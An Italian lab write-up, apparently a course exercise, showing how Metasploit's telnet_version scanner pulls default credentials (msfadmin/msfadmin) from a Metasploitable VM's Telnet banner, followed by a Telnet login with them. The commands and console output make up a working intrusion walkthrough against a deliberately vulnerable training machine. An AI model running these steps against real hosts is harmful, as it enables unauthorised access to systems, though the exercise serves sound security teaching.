

HACKING CON METASPLOIT

Il lavoro da svolgere prevede di hackerare la macchina Metasploitable grazie a Metasploit, un tool di Kali Linux.

Verranno seguiti i diversi passaggi secondo la traccia:

Traccia:

Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo **auxiliary telnet_version** sulla macchina Metasploitable.

Requisito: Seguire gli step visti in lezione teorica. Prima, configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40.

La macchina Metasploitable presenta un servizio Telnet in ascolto sulla porta 23, che trasferisce il traffico su canale non cifrato. Ciò significa che un potenziale attaccante potrebbe sniffare la comunicazione e rubare informazioni sensibili come username, password ed i comandi scambiati tra client e server.

Per sfruttare questa particolare vulnerabilità del servizio Telnet, utilizziamo un modulo ausiliario che potete trovare al path **auxiliary/scanner/telnet/telnet_version**.

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

Dopo aver riscontrato la porta vulnerabile (23) , impostiamo l'IP della macchina che vogliamo hackerare. Andiamo a impostare l'indirizzo IP su RHOSTS scrivendo “set RHOSTS 192.168.1.40” (IP di Metasploitable).

Scriviamo “show options” per vedere se è stato inserito correttamente.

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS	192.168.1.40	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

Per il modulo scelto non c'è bisogno di specificare un payload, quindi possiamo eseguire l'attacco con il comando “exploit”.

Il modulo ha recuperato i dati di login del servizio, come si vede sulla linea rossa. Ci sta dicendo che le credenziali da utilizzare sono username: «msfadmin», password «msfadmin».

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.1.40:23 - 192.168.1.40:23 TELNET _
_/_`/_/_|'_\| |/_ \| |_/_`|'_ \| |/_ \|_) |\x0a| | | | |
____|\x0a                |_
ith msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Per verificare la correttezza delle informazioni, facciamo un test. Eseguiamo da Metasploit il comando “telnet” seguito dall’ip della macchina Metasploitable.

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40...
Connected to 192.168.1.40.
Escape character is '^]'.

Bruteforce.py
metasploitable

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Mar  5 06:40:45 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```